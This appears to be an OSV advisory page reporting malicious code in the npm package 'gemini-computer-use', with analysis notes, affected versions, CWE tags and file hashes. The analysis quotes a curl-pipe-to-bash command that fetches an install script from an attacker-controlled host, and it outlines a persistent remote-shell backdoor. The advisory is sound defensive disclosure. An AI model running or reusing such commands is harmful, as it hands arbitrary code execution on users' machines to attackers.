MAL-2026-16355

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/gemini-computer-use/MAL-2026-16355.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-16355
Published
2026-09-21T17:21:03Z
Modified
2026-10-29T14:30:40Z
Summary
Malicious code in gemini-computer-use (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (56b34e8766d76b6b5c93094a8c8288f85fbb505fef68634a7bdf395abaebb329)

The package's bin/cli.js — declared as both main and bin in package.json — unconditionally runs curl -fsSL https://racknerd-5a24bf9.merino-carob.ts.net/install.sh | bash on Linux/macOS and the PowerShell Invoke-RestMethod... | iex equivalent on Windows when invoked without a known subcommand. Because the same file is the module's main entry, any require('gemini-computer-use') reaches this code path as well. The fetch target is a Tailscale funnel host (*.ts.net) unrelated to the declared GitHub publisher, is unpinned, and has no hash or signature verification; whoever controls that funnel controls arbitrary code execution on the installer host. The installed component is an MCP server (core/server.py, core/mcp_tools.py) that exposes a bash_exec tool and opens an outbound websocket tunnel to a hardcoded gateway (default https://smart-server.online, bootstrapped via the same racknerd-5a24bf9.merino-carob.ts.net host) over /sse?user=...&token=...; commands relayed from the gateway are executed in a local shell on the installer host. install.sh configures systemd/launchd/Termux autostart so the shell channel persists across reboots. The MESH_TOKEN auth is optional and the destination is hardcoded, resulting in a remotely driven shell on the installer's machine triggered by install/first invocation.

Source: ossf-package-analysis (98cfd64c3f4382ad0470faa70a1604f84cb385a64dbc1eed9bbf68fd244ab887)

The OpenSSF Package Analysis project identified 'gemini-computer-use' @ 0.4.3 (npm) as malicious.

It is considered malicious because:

  • The package executes one or more commands associated with malicious behavior.
Database specific 
{
    "malicious-packages-origins":  [
        {
            "id":  "IN-MAL-2026-020266",
            "import_time":  "2026-09-21T17:38:31.930019228Z",
            "modified_time":  "2026-09-21T17:21:03Z",
            "sha256":  "0f1e56e41d63f9810a1cef681a9d43613ee5e07887785f6777f14f97fc06d847",
            "source":  "amazon-inspector",
            "versions":  [
                "0.1.2"
            ]
        },
        {
            "import_time":  "2026-10-13T23:14:38.876717021Z",
            "modified_time":  "2026-10-09T03:31:19Z",
            "sha256":  "98cfd64c3f4382ad0470faa70a1604f84cb385a64dbc1eed9bbf68fd244ab887",
            "source":  "ossf-package-analysis",
            "versions":  [
                "0.4.3"
            ]
        },
        {
            "import_time":  "2026-10-19T02:50:30.574403607Z",
            "modified_time":  "2026-10-17T03:20:21Z",
            "sha256":  "513ba5f48b8693f11b28ac66d327be4ffaa2975e36746a9de167684f3154a96e",
            "source":  "ossf-package-analysis",
            "versions":  [
                "0.4.5"
            ]
        },
        {
            "id":  "IN-MAL-2026-021855",
            "import_time":  "2026-10-29T13:37:13.476545199Z",
            "modified_time":  "2026-10-29T13:16:50Z",
            "sha256":  "56b34e8766d76b6b5c93094a8c8288f85fbb505fef68634a7bdf395abaebb329",
            "source":  "amazon-inspector",
            "versions":  [
                "0.4.3"
            ]
        },
        {
            "id":  "IN-MAL-2026-022271",
            "import_time":  "2026-10-29T14:14:39.101379657Z",
            "modified_time":  "2026-10-29T14:11:12Z",
            "sha256":  "82132c993bf6c637276175bad6dd6df94570c1e0041a613bfcab9c0d3c931678",
            "source":  "amazon-inspector",
            "versions":  [
                "0.4.5"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / gemini-computer-use

Package

Name
gemini-computer-use
View open source insights on deps.dev
Purl
pkg:npm/gemini-computer-use

Affected ranges

Affected versions

0.*
0.1.2
0.4.3
0.4.5

Database specific

cwes 
[
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    },
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    },
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    }
]
indicators 
{
    "evidence_files":  [
        {
            "path":  "bin/cli.js",
            "sha256":  "5597958a888d9b0adc25cbf5b641e86afb88cb0b7005cb5476829f497ea87fbe",
            "tlsh":  "e7111ff1867b69fd22e105d00352f52ec47f9000708f84b997aeb1c25b82528121a2eb"
        },
        {
            "path":  "core/agent.py",
            "sha256":  "4173bbf1f4776fe1194165780cddc694097a97fb0b5a22ae49ed635c74056440",
            "tlsh":  "51415020857e002383db31645839a9002679da031705c97ab9cea7742f6963ae2b27ff"
        },
        {
            "path":  "install.sh",
            "sha256":  "7d237b5291f6ee2ebbd8c5f8cabda2d955ec04ce965a8170c13a02efab041f8a",
            "tlsh":  "91e2b661b46051b8301d8c7a597a5c043e26256fca35356cf16ea8d83fb8325eef873b"
        }
    ],
    "package_integrity":  [
        {
            "filename":  "gemini-computer-use-0.1.2.tgz",
            "hashes":  {
                "sha1":  "5a26b16325e323581f2a7482ee3f48f28f94ffed",
                "sha512_sri":  "sha512-CIvqNfwR0x68+a9+bK2u7SiM3HkUgc4kUxoo7EjPG1H4z0dRQ+BZkxRlKq5RyYQBIAF1Scv6xNTpII4bK3Xcaw=="
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/gemini-computer-use/MAL-2026-16355.json"